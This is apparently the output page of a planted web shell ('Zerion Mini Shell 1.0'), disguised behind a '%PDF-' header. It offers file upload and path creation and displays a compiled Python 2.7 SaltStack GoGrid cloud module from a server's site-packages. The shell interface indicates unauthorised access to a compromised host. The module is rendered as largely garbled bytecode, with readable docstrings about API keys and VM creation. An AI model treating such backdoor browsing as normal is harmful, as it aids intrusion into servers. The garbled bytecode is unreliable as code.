%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/usr/lib/python2.7/site-packages/salt/cloud/clouds/
Upload File :
Create Path :
Current File : //proc/thread-self/root/usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlj	Z	ddl
ZddlZddl
mZmZddlmZeje�ZdZd�Zd�Zd	�Zedd
�Zdd�Zdd�Zd
�Zd�Zd�Z ddd�Z!ddd�Z"ddd�Z#dd�Z$dd�Z%dd�Z&dd�Z'dd�Z(ddddddd�Z)dS(u�
GoGrid Cloud Module
====================

The GoGrid cloud module. This module interfaces with the gogrid public cloud
service. To use Salt Cloud with GoGrid log into the GoGrid web interface and
create an api key. Do this by clicking on "My Account" and then going to the
API Keys tab.

Set up the cloud configuration at ``/etc/salt/cloud.providers`` or
``/etc/salt/cloud.providers.d/gogrid.conf``:

.. code-block:: yaml

    my-gogrid-config:
      # The generated api key to use
      apikey: asdff7896asdh789
      # The apikey's shared secret
      sharedsecret: saltybacon
      driver: gogrid

.. note::

    A Note about using Map files with GoGrid:

    Due to limitations in the GoGrid API, instances cannot be provisioned in parallel
    with the GoGrid driver. Map files will work with GoGrid, but the ``-P``
    argument should not be used on maps referencing GoGrid instances.

.. note::

    A Note about using Map files with GoGrid:

    Due to limitations in the GoGrid API, instances cannot be provisioned in parallel
    with the GoGrid driver. Map files will work with GoGrid, but the ``-P``
    argument should not be used on maps referencing GoGrid instances.

i(tabsolute_importtprint_functiontunicode_literalsN(tSaltCloudSystemExittSaltCloudException(tsixugogridcC@st�tkrtStS(u"
    Check for GoGrid configs
    (tget_configured_providertFalset__virtualname__(((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyt__virtual__=scC@stjttptd�S(u/
    Return the first configured instance.
    uapikeyusharedsecret(uapikeyusharedsecret(tconfigtis_provider_configuredt__opts__t__active_provider_name__R(((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyRGs	c	@s#y=�dr<tjttpd�dd��tkr<tSWntk
rPnXtddddj�d�d	td
d�dddd
g�dtddtd�t�d�dkr�t	d��nt
jd�d�t��dd}d�kr�d}n0t
�}|s-t	d��ntt|��}i�dd6|d6�dd6|d6}tddddj�d�d	itd
d|t|��d6dtddtd�ytd d!d	|�}Wn/tk
rt
jd"�dd#tj�tSXtjd$�td%d&�}�fd'�}tjjj|d(tjd)�td%d4���d,<|�d-<td.�t�}|j|�t
jd/�d�t
jd0�dtj|��tddd1d2j�d�d	td
d3�dddd
g�dtddtd�|S(5u-
    Create a single VM from a data dict
    uprofileugogridtvm_ucloud.fire_eventueventustarting createusalt/cloud/{0}/creatingunametargsucloud.filter_eventucreatinguproviderudrivertsock_dirusock_dirt	transportu	transportiu.VM names must not be longer than 20 charactersuCreating Cloud VM %suimageuiduassign_public_ipuNo more IPs availableusizeuramuipurequesting instanceusalt/cloud/{0}/requestingu
requestingukwargsugridu
server/addukError creating %s on GOGRID

The following exception was thrown when trying to run the initial deployment:
texc_info_on_loglevelussh_usernametdefaulturootc@sFy!t�}|�dddSWntk
r4nXtjd�tS(uH
        Wait for the password to become available, via the API
        unameiupasswordi(tlist_passwordstKeyErrorttimetsleepR(t	passwords(R(s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytwait_for_apipass�s	

ttimeoutuwait_for_fun_timeoutii<upasswordussh_hostucloud.bootstrapuCreated Cloud VM '%s'u'%s' VM creation details:
%sucreated instanceusalt/cloud/{0}/createducreatedi�(R
tis_profile_configuredRR
RtAttributeErrort	__utils__tformattlenRtlogtinfotavail_imagestlist_public_ipstnexttitertlistt_queryt	ExceptionterrortloggingtDEBUGtget_cloud_config_valuetsalttutilstcloudtwait_for_funtupdatetdebugtpprinttpformat(	Rtimage_idthost_ipt
public_ipst
create_kwargstdatatssh_usernameRtret((Rs</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytcreateRs�	

"

	
 





"
cC@s}|dkrtd��ni}td�}|r7|Sx?|D]7}i||<x$d
D]}||||||<qUWq>W|S(ux
    List of nodes, keeping only a brief listing

    CLI Example:

    .. code-block:: bash

        salt-cloud -Q
    uactionu=The list_nodes function must be called with -f or --function.ufunctionuiduimageusizeu
public_ipsuprivate_ipsustate(uiduimageusizeu
public_ipsuprivate_ipsustate(Rtlist_nodes_full(tfulltcallR;tnodestnodetitem((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyt
list_nodes�s



cC@s�tdd�}i}x�|dD]�}|d}|||<|d||d<|dd||d<|dd||d	<|d
d
g||d<g||d<|d
||d<d|d
dkr d||d
<q q W|S(uw
    List nodes, with all available information

    CLI Example:

    .. code-block:: bash

        salt-cloud -F
    ugriduserver/listulistunameuimageu
image_infoufriendlyNameuramusizeuipu
public_ipsuprivate_ipsustateu
state_infouactiveudescriptionuRUNNING(R'(R?tresponseR;RBtname((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyR=�s


cC@s#tjjjtd�td|�S(u�
    Return a list of the VMs that are on the provider, with select fields

    CLI Example:

    .. code-block:: bash

        salt-cloud -S
    ufunctionuquery.selection(R-R.R/tlist_nodes_selectR=R(R?((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyRF�s
cC@sItdidd6�}i}x&|dD]}|d}|||<q'W|S(u
    Available locations
    tkwargsu
ip.datacenterulookupulistuname(tlist_common_lookups(RDR;RBRE((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytavail_locationss
cC@sItdidd6�}i}x&|dD]}|d}|||<q'W|S(u
    Available sizes
    RGu
server.ramulookupulistuname(RH(RDR;RBRE((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytavail_sizess
cC@sBtdd�}i}x&|dD]}|d}|||<q W|S(u
    Available images
    ugridu
image/listulistufriendlyName(R'(RDR;RBRE((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyR"$s
cC@sutdd�}i}xY|dD]M}d|kr |dd}||krYg||<n||j|�q q W|S(uJ
    List all password on the account

    .. versionadded:: 2015.8.0
    usupportu
password/listulistuserveruname(R'tappend(RGR?RDR;RBtserver((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyR2s
cC@s�|d
kri}ni}d|krQ|ddkrDd|d<q[d|d<n
d|d<d|d<tdd	d
|�}i}x&|dD]}|d}|||<q�W|S(u?
    List all available public IPs.

    CLI Example:
    .. code-block:: bash

        salt-cloud -f list_public_ips <provider>

    To list unavailable (assigned) IPs, use:

    CLI Example:
    .. code-block:: bash

        salt-cloud -f list_public_ips <provider> state=assigned

    .. versionadded:: 2015.8.0
    ustateuassigneduAssigneduip.stateu
UnassigneduPublicuip.typeugriduip/listRulistuipN(tNoneR'(RGR?RRDR;RBRE((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyR#Es	




cC@sQ|dkri}ni}d|kr8|d|d<ntddd|�}|S(u[
    List common lookups for a particular type of item

    .. versionadded:: 2015.8.0
    ulookupucommonulookup/listRN(RMR'(RGR?RRD((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyRHos	cC@s�|dkrtd��ntddddj|�di|d6d	td
dtd�td
ddi|d6�}tddddj|�di|d6d	td
dtd�tjdt�tkr�td|tj	d�dt�n|S(un
    Destroy a machine by name

    CLI Example:

    .. code-block:: bash

        salt-cloud -d vm_name
    ufunctionuEThe destroy action must be called with -d, --destroy, -a or --action.ucloud.fire_eventueventudestroying instanceusalt/cloud/{0}/destroyingRunameRusock_dirRu	transportugridu
server/deleteudestroyed instanceusalt/cloud/{0}/destroyeduupdate_cachedirucloud.delete_minion_cachediru:i(
RRRRR'tgetRtTrueR
tsplit(RER?RD((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytdestroy�s*




$cC@s!tdddi|d6dd6�S(u�
    Reboot a machine by name

    CLI Example:

    .. code-block:: bash

        salt-cloud -a reboot vm_name

    .. versionadded:: 2015.8.0
    ugriduserver/powerRunameurestartupower(R'(RER?((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytreboot�scC@s!tdddi|d6dd6�S(u�
    Stop a machine by name

    CLI Example:

    .. code-block:: bash

        salt-cloud -a stop vm_name

    .. versionadded:: 2015.8.0
    ugriduserver/powerRunameustopupower(R'(RER?((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytstop�scC@s!tdddi|d6dd6�S(u�
    Start a machine by name

    CLI Example:

    .. code-block:: bash

        salt-cloud -a start vm_name

    .. versionadded:: 2015.8.0
    ugriduserver/powerRunameustartupower(R'(RER?((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pytstart�scC@s�tdddi|d6�}i}x�|dD]�}|d}|||<|d||d<|dd||d<|d	d||d
<|ddg||d<g||d
<|d||d<d|ddkr-d||d<q-q-W|S(u�
    Start a machine by name

    CLI Example:

    .. code-block:: bash

        salt-cloud -a show_instance vm_name

    .. versionadded:: 2015.8.0
    ugridu
server/getRunameulistuimageu
image_infoufriendlyNameuramusizeuipu
public_ipsuprivate_ipsustateu
state_infouactiveudescriptionuRUNNING(R'(RER?RDR;RB((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyt
show_instance�s

uGETcC@s�t�}tjd|tdt�}tjd|tdt�}d}	|rX|	|7}	n|rt|	dj|�7}	ntjd|	�t|t	�s�i}nt
jtt
j
���}
dj|||
f�}tjjj|�|d<d	|d
<d|d<||d
<|dkri}n|dkr4d|d<nt}|dkrOt}nd}
tjjj|	|d|d|d|d|dd	dtdtdt�}tjd|d�|dS(uC
    Make a web call to GoGrid

    .. versionadded:: 2015.8.0
    uapikeyt
search_globalusharedsecretuhttps://api.gogrid.com/api/u/{0}uGoGrid URL: %suusigujsonuformatu1.0uvuapi_keyuPOSTuapplication/jsonuAcceptuDELETEtparamsR9theader_dicttdecodetdecode_typettexttstatustoptsuGoGrid Response Status Code: %sustatusudictN(RR
R,RRRR R2t
isinstancetdictRt	text_typetintRtjoinR-R.t	hashutilst
md5_digestRMROthttptquery(tactiontcommandRtmethodRXR9RtapikeytsharedsecrettpathtepochthashtextRYtreturn_contenttresult((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyR'�sP	
	


	
		(*t__doc__t
__future__RRRR3R*Rtsalt.configR
tsalt.utils.cloudR-tsalt.utils.hashutilstsalt.exceptionsRRtsalt.extRt	getLoggert__name__R RR	RR<RRMRCR=RFRIRJR"RR#RHRQRRRSRTRUR'(((s</usr/lib/python2.7/site-packages/salt/cloud/clouds/gogrid.pyt<module>'sD	
		n			**

Zerion Mini Shell 1.0